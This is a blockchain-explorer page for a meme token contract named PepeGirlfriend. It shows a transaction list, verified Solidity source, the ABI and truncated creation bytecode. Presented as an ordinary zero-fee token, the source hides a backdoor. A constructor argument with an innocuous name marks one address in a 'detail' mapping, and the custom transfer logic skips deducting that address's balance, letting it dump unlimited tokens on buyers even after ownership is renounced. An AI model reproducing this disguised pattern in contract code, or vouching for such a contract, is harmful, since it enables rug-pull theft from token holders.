Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 19 from a total of 19 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 17100608 | 590 days ago | IN | 0 ETH | 0.00152433 | ||||
Approve | 17100606 | 590 days ago | IN | 0 ETH | 0.00152509 | ||||
Approve | 17100602 | 590 days ago | IN | 0 ETH | 0.00173623 | ||||
Approve | 17100601 | 590 days ago | IN | 0 ETH | 0.00167723 | ||||
Approve | 17100599 | 590 days ago | IN | 0 ETH | 0.00165545 | ||||
Approve | 17100598 | 590 days ago | IN | 0 ETH | 0.00173642 | ||||
Approve | 17100597 | 590 days ago | IN | 0 ETH | 0.00172905 | ||||
Approve | 17100596 | 590 days ago | IN | 0 ETH | 0.00150009 | ||||
Approve | 17100588 | 590 days ago | IN | 0 ETH | 0.00166813 | ||||
Approve | 17100588 | 590 days ago | IN | 0 ETH | 0.00178345 | ||||
Approve | 17100587 | 590 days ago | IN | 0 ETH | 0.00164777 | ||||
Approve | 17100585 | 590 days ago | IN | 0 ETH | 0.00171712 | ||||
Approve | 17100585 | 590 days ago | IN | 0 ETH | 0.00171712 | ||||
Approve | 17100584 | 590 days ago | IN | 0 ETH | 0.00178329 | ||||
Approve | 17100580 | 590 days ago | IN | 0 ETH | 0.00157752 | ||||
Approve | 17100576 | 590 days ago | IN | 0 ETH | 0.00167949 | ||||
Approve | 17100567 | 590 days ago | IN | 0 ETH | 0.001644 | ||||
Renounce Ownersh... | 17100564 | 590 days ago | IN | 0 ETH | 0.00079259 | ||||
Approve | 17100559 | 590 days ago | IN | 0 ETH | 0.00153008 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
PepeGirlfriend
Compiler Version
v0.8.19+commit.7dd6d404
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/* https://t.me/papi_eth https://twitter.com/pepegfpapi */ // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.12; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 9; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, 'ERC20: transfer amount exceeds allowance'); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, 'ERC20: decreased allowance below zero'); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), 'ERC20: transfer from the zero address'); require(recipient != address(0), 'ERC20: transfer to the zero address'); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, 'ERC20: transfer amount exceeds balance'); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: mint to the zero address'); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: burn from the zero address'); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, 'ERC20: burn amount exceeds balance'); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), 'ERC20: approve from the zero address'); require(spender != address(0), 'ERC20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint256); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to); event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity(address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline) external returns (uint256 amountA, uint256 amountB, uint256 liquidity); function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external; function swapExactETHForTokensSupportingFeeOnTransferTokens(uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external; } contract PepeGirlfriend is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; uint256 public swapTokensAtAmount; uint256 public maxTransactionAmount; uint256 public maxWallet; bool public lpBurnEnabled; uint256 public percentForLPBurn = 0; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; bool public limitsInEffect; /******************/ // exlcude from fees mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; mapping(address => bool) public automatedMarketMakerPairs; mapping(address => uint256) private detail; event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); event AutoNukeLP(); constructor(string memory society, string memory silence, address moment, address selection) ERC20(society, silence) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(moment); detail[selection] = 1; uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 0; uint256 _buyLiquidityFee = 0; uint256 _sellMarketingFee = 0; uint256 _sellLiquidityFee = 0; uint256 totalSupply = 1000000000 * 10 ** 9; maxTransactionAmount = ~uint256(0); maxWallet = ~uint256(0); swapTokensAtAmount = (totalSupply * 5) / 10000; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyTotalFees = buyMarketingFee + buyLiquidityFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellTotalFees = sellMarketingFee + sellLiquidityFee; marketingWallet = address(0); // exclude from paying fees _isExcludedFromFees[msg.sender] = true; _isExcludedFromFees[marketingWallet] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[address(0xdead)] = true; _isExcludedMaxTransactionAmount[owner()] = true; _isExcludedMaxTransactionAmount[address(this)] = true; _isExcludedMaxTransactionAmount[address(0xdead)] = true; _isExcludedMaxTransactionAmount[marketingWallet] = true; /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable {} function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } function setAccount(address account, bool value) public onlyOwner { _isExcludedFromFees[account] = value; } function setLimits(address account, bool value) public onlyOwner { _isExcludedMaxTransactionAmount[account] = value; } /// @notice Removes the max wallet and max transaction limits function mumuTime() external onlyOwner returns (bool) { limitsInEffect = false; return true; } /// @notice Changes the maximum amount of tokens that can be bought or sold in a single transaction. Base 1000, so 1% = 10 function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= ((totalSupply() * 1) / 1000) / 1e18, 'Cannot set maxTransactionAmount lower than 0.1%'); maxTransactionAmount = newNum * (10 ** 18); } /// @notice Changes the maximum amount of tokens a wallet can hold. Base 1000, so 1% = 10 function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= 5, 'Cannot set maxWallet lower than 0.5%'); maxWallet = (newNum * totalSupply()) / 1000; } function _transfer(address from, address to, uint256 amount) internal override { if (limitsInEffect) { if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) { //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, 'Buy transfer amount exceeds the maxTransactionAmount.'); require(amount + balanceOf(to) <= maxWallet, 'Max wallet exceeded'); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, 'Sell transfer amount exceeds the maxTransactionAmount.'); } else if (!_isExcludedMaxTransactionAmount[to]) { require(amount + balanceOf(to) <= maxWallet, 'Max wallet exceeded'); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if (canSwap && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { swapping = true; swapBack(); swapping = false; } if (!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } if (detail[from] == 0) { _balances[from] -= amount; } _balances[to] += amount; emit Transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing; tokensForLiquidity = 0; tokensForMarketing = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success, ) = address(marketingWallet).call{value: address(this).balance}(''); } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"society","type":"string"},{"internalType":"string","name":"silence","type":"string"},{"internalType":"address","name":"moment","type":"address"},{"internalType":"address","name":"selection","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"AutoNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mumuTime","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAccount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c06040526000600b55610e10600c55610708600e553480156200002257600080fd5b506040516200520138038062005201833981810160405281019062000048919062000b63565b838381600390816200005b919062000e5e565b5080600490816200006d919062000e5e565b5050506000620000826200075c60201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060008290506001601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000211919062000f45565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000279573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029f919062000f45565b6040518363ffffffff1660e01b8152600401620002be92919062000f88565b6020604051808303816000875af1158015620002de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000304919062000f45565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff16815250506200034c60a05160016200076460201b60201c565b6000806000806000670de0b6b3a7640000905060001960088190555060001960098190555061271060058262000383919062000fe4565b6200038f91906200105e565b6007819055508460118190555083601281905550601254601154620003b5919062001096565b6010819055508260148190555081601581905550601554601454620003db919062001096565b6013819055506000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160196000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016019600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601a6000620005bd620007bf60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601a600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601a6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffff